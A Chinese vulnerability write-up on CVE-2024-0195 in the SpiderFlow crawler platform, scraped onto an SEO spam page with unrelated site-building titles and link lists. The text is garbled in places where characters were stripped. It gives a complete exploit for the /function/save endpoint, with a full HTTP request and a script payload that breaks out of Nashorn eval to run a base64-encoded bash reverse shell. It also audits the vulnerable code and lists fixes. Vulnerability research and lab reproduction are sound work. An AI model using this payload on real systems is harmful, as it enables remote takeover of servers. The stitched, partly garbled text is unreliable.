当前位置: 首页 > news >正文

长沙商城网站制作国外网站建设企业

长沙商城网站制作,国外网站建设企业,制作流程图软件,网页开发背景与意义CVE-2024-0195 简介#xff1a; SpiderFlow是新一代开源爬虫平台#xff0c;以图形化方式定义爬虫流程#xff0c;不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞#xff0c;攻击者可以构造恶意命…CVE-2024-0195 简介 SpiderFlow是新一代开源爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。基于springbootlayui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞攻击者可以构造恶意命令远控服务器 影响版本 Up to (including)0.5.0  EXP(反弹shell):  id1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B 注意 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell 具体可访问java Runtime.getRuntime().exec 获取反弹shell_p r.exec([/bin/bash,-c,-CSDN博客 漏洞复现  参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com) 源码下载: https://gitee.com/ssssssss-team/spider-flow.git 复现春秋靶场: 进入环境进行抓包 修包改为 POST /function/save HTTP/1.1Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charsetUTF-8X-Requested-With: XMLHttpRequestContent-Length: 189Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088Connection: closeReferer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.htmlid1namecmdparameterrcescript%7DJava.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i})%3B%7B 即可反弹shell  代码审计  在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径 RestController RequestMapping(/function) public class FunctionController {Autowiredprivate FunctionService functionService;RequestMapping(/list)public IPageFunction list(RequestParam(name page,defaultValue 1)Integer page, RequestParam(name limit,defaultValue 1)Integer size,String name) {QueryWrapperFunction select new QueryWrapperFunction().select(id, name, parameter, create_date);if(StringUtils.isNotBlank(name)){select.like(name,name);}select.orderByDesc(create_date);return functionService.page(new PageFunction(page, size), select);}RequestMapping(/save)public String save(Function function){return functionService.saveFunction(function);}RequestMapping(/get)public Function get(String id){return functionService.getById(id);}RequestMapping(/remove)public void remove(String id){functionService.removeById(id);} } 我们跟进 saveFunction()方法 public String saveFunction(Function entity) {try {// 对传入的数据进行过滤ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());// 保存super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error(保存自定义函数出错,e);return ExceptionUtils.getStackTrace(e);} } 里面有个validScript方法就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤该方法可能会抛出异常 我们跟进validScript方法 public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName(nashorn).eval(concatScript(functionName,parameters,script)); } 里面居然直接有eval危险函数首先代码创建了一个新的ScriptEngineManager对象然后从中获取一个名为nashorn的脚本引擎。接下来通过调用eval()方法将传入的函数名称、参数和脚本合并成一个完整的脚本字符串并将其传递给脚本引擎进行执行。  我们跟进concatScript方法 private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer new StringBuffer();scriptBuffer.append(function ).append(functionName).append(().append(parameters null ? : parameters).append(){).append(script).append(});return scriptBuffer.toString(); } 这段代码的作用是接受三个参数 functionName、parameters和 script合并成一个完整的脚本字符串并返回该字符串。 没有进行任何过滤所以我们就可以构造RCE了 假设三个参数分别为wendanh最后返回的是 function wen(da){nh} 我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell }Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{ 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell function wen(da){}Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDAJjE}|{base64,-d}|{bash,-i});{} 修复建议 1.在拼接的时候对script进行过滤处理 2.打补丁 spider-flow: 新一代爬虫平台以图形化方式定义爬虫流程不写代码即可完成爬虫。 参考 SpiderFlow爬虫平台漏洞利用分析CVE-2024-0195 - FreeBuf网络安全行业门户
http://www.dnsts.com.cn/news/81487.html

相关文章:

  • 网站后台如何修改参数开个网站做英语培训
  • 现在做网站到底需要多少钱带积分的网站建设
  • 提高网站流量的软文案例网络营销案例论文
  • 如何 建公司网站seo兼职在家怎么做
  • 做标书的专业网站厦门北京网站建设公司哪家好
  • 招聘网站建设流程图美工培训费用
  • 长沙网站seo推广公司网站空间免费吗
  • 网站建设方案书纯文字织梦网站模板教程
  • html5公司网站欣赏参考消息电子版
  • 专做英文类网站优化网站关键词排名
  • 大连制作网站企业如何在aws上创建wordpress
  • 网站建设万禾wordpress 技术主题
  • 公司网站建设企业wordpress 调用百度地图
  • 任丘建设网站制作安阳网站
  • 足球外围网站怎么做h5手机制作网站开发
  • 苏州建设网站二维码短链接生成器
  • 有没有哪个网站能够做简历网站设计版式
  • asp建设的网站制作网站开发多语言切换思路
  • 天津微信网站开发网站建设有没有做的必要
  • 汕头网站开发定制html家乡网站设计模板
  • 帝国网站管理 上一条 下一条 链接 信息id 信息发布时间网站点击弹出下载框 怎么做的
  • 免费推广网站平台凡科网站的ftp
  • 公司域名注册网站哪个好网络营销成功的原因
  • 网站搭建原则中国建设银行 英文网站
  • 学校集约网站建设免费网站安全软件大全
  • 套模板做网站教程社区做图网站
  • 网站开发主要有两个阶段wordpress 蜘蛛插件
  • 企业为什么做企业网站和推广营销型网站主页定制
  • 北京网站设计入门国外企业网站案例
  • 跨境网站个人怎么免费注册公司流程